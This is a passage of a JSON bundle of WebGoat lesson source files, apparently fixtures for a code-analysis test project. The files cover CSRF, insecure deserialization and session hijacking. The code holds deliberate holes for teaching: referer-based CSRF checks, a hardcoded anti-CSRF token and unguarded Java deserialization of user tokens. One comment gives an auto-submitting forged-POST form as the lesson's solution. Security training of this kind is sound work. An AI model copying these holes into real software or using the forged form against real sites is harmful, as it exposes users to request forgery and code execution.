userSessionDataStr = userSessionData.getValue(\"csrf-get-success\");\n    if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) {\n      return success(this)\n          .feedback(\"csrf-get-null-referer.success\")\n          .output(\"Correct, the flag was \" + userSessionData.getValue(\"csrf-get-success\"))\n          .build();\n    }\n\n    return failed(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.csrf;\n\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport java.io.IOException;\nimport java.util.Map;\nimport java.util.UUID;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 11/17/17.\n */\n@RestController\n@AssignmentHints({\"csrf-feedback-hint1\", \"csrf-feedback-hint2\", \"csrf-feedback-hint3\"})\npublic class CSRFFeedback extends AssignmentEndpoint {\n\n  @Autowired private UserSessionData userSessionData;\n  @Autowired private ObjectMapper objectMapper;\n\n  @PostMapping(\n      value = \"/csrf/feedback/message\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {\n    try {\n      objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);\n      objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);\n      objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);\n      objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);\n      objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);\n      objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);\n      objectMapper.readValue(feedback.getBytes(), Map.class);\n    } catch (IOException e) {\n      return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();\n    }\n    boolean correctCSRF =\n        requestContainsWebGoatCookie(request.getCookies())\n            && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE);\n    correctCSRF &= hostOrRefererDifferentHost(request);\n    if (correctCSRF) {\n      String flag = UUID.randomUUID().toString();\n      userSessionData.setValue(\"csrf-feedback\", flag);\n      return success(this).feedback(\"csrf-feedback-success\").feedbackArgs(flag).build();\n    }\n    return failed(this).build();\n  }\n\n  @PostMapping(path = \"/csrf/feedback\", produces = \"application/json\")\n  @ResponseBody\n  public AttackResult flag(@RequestParam(\"confirmFlagVal\") String flag) {\n    if (flag.equals(userSessionData.getValue(\"csrf-feedback\"))) {\n      return success(this).build();\n    } else {\n      return failed(this).build();\n    }\n  }\n\n  private boolean hostOrRefererDifferentHost(HttpServletRequest request) {\n    String referer = request.getHeader(\"Referer\");\n    String host = request.getHeader(\"Host\");\n    if (referer != null) {\n      return !referer.contains(host);\n    } else {\n      return true;\n    }\n  }\n\n  private boolean requestContainsWebGoatCookie(Cookie[] cookies) {\n    if (cookies != null) {\n      for (Cookie c : cookies) {\n        if (c.getName().equals(\"JSESSIONID\")) {\n          return true;\n        }\n      }\n    }\n    return false;\n  }\n\n  /**\n   * Solution <form name=\"attack\" enctype=\"text/plain\"\n   * action=\"http://localhost:8080/WebGoat/csrf/feedback/message\" METHOD=\"POST\"> <input\n   * type=\"hidden\" name='{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\",\n   * \"message\":\"dsaffd\"}'> </form> <script>document.attack.submit();</script>\n   */\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.csrf;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Random;\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.i18n.PluginMessages;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** Created by jason on 9/30/17. */\n@RestController\npublic class CSRFGetFlag {\n\n  @Autowired UserSessionData userSessionData;\n  @Autowired private PluginMessages pluginMessages;\n\n  @RequestMapping(\n      path = \"/csrf/basic-get-flag\",\n      produces = {\"application/json\"},\n      method = RequestMethod.POST)\n  @ResponseBody\n  public Map<String, Object> invoke(HttpServletRequest req) {\n\n    Map<String, Object> response = new HashMap<>();\n\n    String host = (req.getHeader(\"host\") == null) ? \"NULL\" : req.getHeader(\"host\");\n    String referer = (req.getHeader(\"referer\") == null) ? \"NULL\" : req.getHeader(\"referer\");\n    String[] refererArr = referer.split(\"/\");\n\n    if (referer.equals(\"NULL\")) {\n      if (\"true\".equals(req.getParameter(\"csrf\"))) {\n        Random random = new Random();\n        userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));\n        response.put(\"success\", true);\n        response.put(\"message\", pluginMessages.getMessage(\"csrf-get-null-referer.success\"));\n        response.put(\"flag\", userSessionData.getValue(\"csrf-get-success\"));\n      } else {\n        Random random = new Random();\n        userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));\n        response.put(\"success\", true);\n        response.put(\"message\", pluginMessages.getMessage(\"csrf-get-other-referer.success\"));\n        response.put(\"flag\", userSessionData.getValue(\"csrf-get-success\"));\n      }\n    } else if (refererArr[2].equals(host)) {\n      response.put(\"success\", false);\n      response.put(\"message\", \"Appears the request came from the original host\");\n      response.put(\"flag\", null);\n    } else {\n      Random random = new Random();\n      userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));\n      response.put(\"success\", true);\n      response.put(\"message\", pluginMessages.getMessage(\"csrf-get-other-referer.success\"));\n      response.put(\"flag\", userSessionData.getValue(\"csrf-get-success\"));\n    }\n\n    return response;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.csrf;\n\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.users.UserTracker;\nimport org.owasp.webgoat.container.users.UserTrackerRepository;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 11/17/17.\n */\n@RestController\n@AssignmentHints({\"csrf-login-hint1\", \"csrf-login-hint2\", \"csrf-login-hint3\"})\npublic class CSRFLogin extends AssignmentEndpoint {\n\n  private final UserTrackerRepository userTrackerRepository;\n\n  public CSRFLogin(UserTrackerRepository userTrackerRepository) {\n    this.userTrackerRepository = userTrackerRepository;\n  }\n\n  @PostMapping(\n      path = \"/csrf/login\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult completed(HttpServletRequest request) {\n    String userName = request.getUserPrincipal().getName();\n    if (userName.startsWith(\"csrf\")) {\n      markAssignmentSolvedWithRealUser(userName.substring(\"csrf-\".length()));\n      return success(this).feedback(\"csrf-login-success\").build();\n    }\n    return failed(this).feedback(\"csrf-login-failed\").feedbackArgs(userName).build();\n  }\n\n  private void markAssignmentSolvedWithRealUser(String username) {\n    UserTracker userTracker = userTrackerRepository.findByUser(username);\n    userTracker.assignmentSolved(\n        getWebSession().getCurrentLesson(), this.getClass().getSimpleName());\n    userTrackerRepository.save(userTracker);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.csrf;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\n\nimport com.google.common.collect.Lists;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"csrf-review-hint1\", \"csrf-review-hint2\", \"csrf-review-hint3\"})\npublic class ForgedReviews extends AssignmentEndpoint {\n\n  @Autowired private WebSession webSession;\n  private static DateTimeFormatter fmt = DateTimeFormatter.ofPattern(\"yyyy-MM-dd, HH:mm:ss\");\n\n  private static final Map<String, List<Review>> userReviews = new HashMap<>();\n  private static final List<Review> REVIEWS = new ArrayList<>();\n  private static final String weakAntiCSRF = \"2aa14227b9a13d0bede0388a7fba9aa9\";\n\n  static {\n    REVIEWS.add(\n        new Review(\"secUriTy\", LocalDateTime.now().format(fmt), \"This is like swiss cheese\", 0));\n    REVIEWS.add(new Review(\"webgoat\", LocalDateTime.now().format(fmt), \"It works, sorta\", 2));\n    REVIEWS.add(new Review(\"guest\", LocalDateTime.now().format(fmt), \"Best, App, Ever\", 5));\n    REVIEWS.add(\n        new Review(\n            \"guest\",\n            LocalDateTime.now().format(fmt),\n            \"This app is so insecure, I didn't even post this review, can you pull that off too?\",\n            1));\n  }\n\n  @GetMapping(\n      path = \"/csrf/review\",\n      produces = MediaType.APPLICATION_JSON_VALUE,\n      consumes = ALL_VALUE)\n  @ResponseBody\n  public Collection<Review> retrieveReviews() {\n    Collection<Review> allReviews = Lists.newArrayList();\n    Collection<Review> newReviews = userReviews.get(webSession.getUserName());\n    if (newReviews != null) {\n      allReviews.addAll(newReviews);\n    }\n\n    allReviews.addAll(REVIEWS);\n\n    return allReviews;\n  }\n\n  @PostMapping(\"/csrf/review\")\n  @ResponseBody\n  public AttackResult createNewReview(\n      String reviewText, Integer stars, String validateReq, HttpServletRequest request) {\n    final String host = (request.getHeader(\"host\") == null) ? \"NULL\" : request.getHeader(\"host\");\n    final String referer =\n        (request.getHeader(\"referer\") == null) ? \"NULL\" : request.getHeader(\"referer\");\n    final String[] refererArr = referer.split(\"/\");\n\n    Review review = new Review();\n    review.setText(reviewText);\n    review.setDateTime(LocalDateTime.now().format(fmt));\n    review.setUser(webSession.getUserName());\n    review.setStars(stars);\n    var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>());\n    reviews.add(review);\n    userReviews.put(webSession.getUserName(), reviews);\n    // short-circuit\n    if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {\n      return failed(this).feedback(\"csrf-you-forgot-something\").build();\n    }\n    // we have the spoofed files\n    if (referer != \"NULL\" && refererArr[2].equals(host)) {\n      return failed(this).feedback(\"csrf-same-host\").build();\n    } else {\n      return success(this)\n          .feedback(\"csrf-review.success\")\n          .build(); // feedback(\"xss-stored-comment-failure\")\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.csrf;\n\nimport javax.xml.bind.annotation.XmlRootElement;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\nimport lombok.Setter;\n\n/**\n * @author nbaars\n * @since 4/8/17.\n */\n@Getter\n@Setter\n@AllArgsConstructor\n@NoArgsConstructor\n@XmlRootElement\npublic class Review {\n  private String user;\n  private String dateTime;\n  private String text;\n  private Integer stars;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java",
    "content": "package org.owasp.webgoat.lessons.deserialization;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class InsecureDeserialization extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A8;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"insecure-deserialization.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.deserialization;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InvalidClassException;\nimport java.io.ObjectInputStream;\nimport java.util.Base64;\nimport org.dummy.insecure.framework.VulnerableTaskHolder;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"insecure-deserialization.hints.1\",\n  \"insecure-deserialization.hints.2\",\n  \"insecure-deserialization.hints.3\"\n})\npublic class InsecureDeserializationTask extends AssignmentEndpoint {\n\n  @PostMapping(\"/InsecureDeserialization/task\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String token) throws IOException {\n    String b64token;\n    long before;\n    long after;\n    int delay;\n\n    b64token = token.replace('-', '+').replace('_', '/');\n\n    try (ObjectInputStream ois =\n        new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {\n      before = System.currentTimeMillis();\n      Object o = ois.readObject();\n      if (!(o instanceof VulnerableTaskHolder)) {\n        if (o instanceof String) {\n          return failed(this).feedback(\"insecure-deserialization.stringobject\").build();\n        }\n        return failed(this).feedback(\"insecure-deserialization.wrongobject\").build();\n      }\n      after = System.currentTimeMillis();\n    } catch (InvalidClassException e) {\n      return failed(this).feedback(\"insecure-deserialization.invalidversion\").build();\n    } catch (IllegalArgumentException e) {\n      return failed(this).feedback(\"insecure-deserialization.expired\").build();\n    } catch (Exception e) {\n      return failed(this).feedback(\"insecure-deserialization.invalidversion\").build();\n    }\n\n    delay = (int) (after - before);\n    if (delay > 7000) {\n      return failed(this).build();\n    }\n    if (delay < 3000) {\n      return failed(this).build();\n    }\n    return success(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java",
    "content": "package org.owasp.webgoat.lessons.deserialization;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.DataOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.Serializable;\nimport java.util.Base64;\n\npublic class SerializationHelper {\n\n  private static final char[] hexArray = \"0123456789ABCDEF\".toCharArray();\n\n  public static Object fromString(String s) throws IOException, ClassNotFoundException {\n    byte[] data = Base64.getDecoder().decode(s);\n    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));\n    Object o = ois.readObject();\n    ois.close();\n    return o;\n  }\n\n  public static String toString(Serializable o) throws IOException {\n\n    ByteArrayOutputStream baos = new ByteArrayOutputStream();\n    ObjectOutputStream oos = new ObjectOutputStream(baos);\n    oos.writeObject(o);\n    oos.close();\n    return Base64.getEncoder().encodeToString(baos.toByteArray());\n  }\n\n  public static String show() throws IOException {\n    ByteArrayOutputStream baos = new ByteArrayOutputStream();\n    DataOutputStream dos = new DataOutputStream(baos);\n    dos.writeLong(-8699352886133051976L);\n    dos.close();\n    byte[] longBytes = baos.toByteArray();\n    return bytesToHex(longBytes);\n  }\n\n  public static String bytesToHex(byte[] bytes) {\n    char[] hexChars = new char[bytes.length * 2];\n    for (int j = 0; j < bytes.length; j++) {\n      int v = bytes[j] & 0xFF;\n      hexChars[j * 2] = hexArray[v >>> 4];\n      hexChars[j * 2 + 1] = hexArray[v & 0x0F];\n    }\n    return new String(hexChars);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source\n * ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.hijacksession;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/***\n *\n * @author Angel Olle Blazquez\n *\n */\n\n@Component\npublic class HijackSession extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A1;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"hijacksession.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.hijacksession;\n\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletResponse;\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.hijacksession.cas.Authentication;\nimport org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.CookieValue;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/***\n *\n * @author Angel Olle Blazquez\n *\n */\n\n@RestController\n@AssignmentHints({\n  \"hijacksession.hints.1\",\n  \"hijacksession.hints.2\",\n  \"hijacksession.hints.3\",\n  \"hijacksession.hints.4\",\n  \"hijacksession.hints.5\"\n})\npublic class HijackSessionAssignment extends AssignmentEndpoint {\n\n  private static final String COOKIE_NAME = \"hijack_cookie\";\n\n  @Autowired HijackSessionAuthenticationProvider provider;\n\n  @PostMapping(path = \"/HijackSession/login\")\n  @ResponseBody\n  public AttackResult login(\n      @RequestParam String username,\n      @RequestParam String password,\n      @CookieValue(value = COOKIE_NAME, required = false) String cookieValue,\n      HttpServletResponse response) {\n\n    Authentication authentication;\n    if (StringUtils.isEmpty(cookieValue)) {\n      authentication =\n          provider.authenticate(\n              Authentication.builder().name(username).credentials(password).build());\n      setCookie(response, authentication.getId());\n    } else {\n      authentication = provider.authenticate(Authentication.builder().id(cookieValue).build());\n    }\n\n    if (authentication.isAuthenticated()) {\n      return success(this).build();\n    }\n\n    return failed(this).build();\n  }\n\n  private void setCookie(HttpServletResponse response, String cookieValue) {\n    Cookie cookie = new Cookie(COOKIE_NAME, cookieValue);\n    cookie.setPath(\"/WebGoat\");\n    cookie.setSecure(true);\n    response.addCookie(cookie);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source\n * ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.hijacksession.cas;\n\nimport java.security.Principal;\nimport lombok.Builder;\nimport lombok.Getter;\nimport lombok.ToString;\n\n/**\n * @author Angel Olle Blazquez\n */\n@Getter\n@ToString\npublic class Authentication implements Principal {\n\n  private boolean authenticated = false;\n  private String name;\n  private Object credentials;\n  private String id;\n\n  @Builder\n  public Authentication(String name, Object credentials, String id) {\n    this.name = name;\n    this.credentials = credentials;\n    this.id = id;\n  }\n\n  @Override\n  public String getName() {\n    return name;\n  }\n\n  protected void setAuthenticated(boolean authenticated) {\n    this.authenticated = authenticated;\n  }\n\n  protected void setId(String id) {\n    this.id = id;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java",
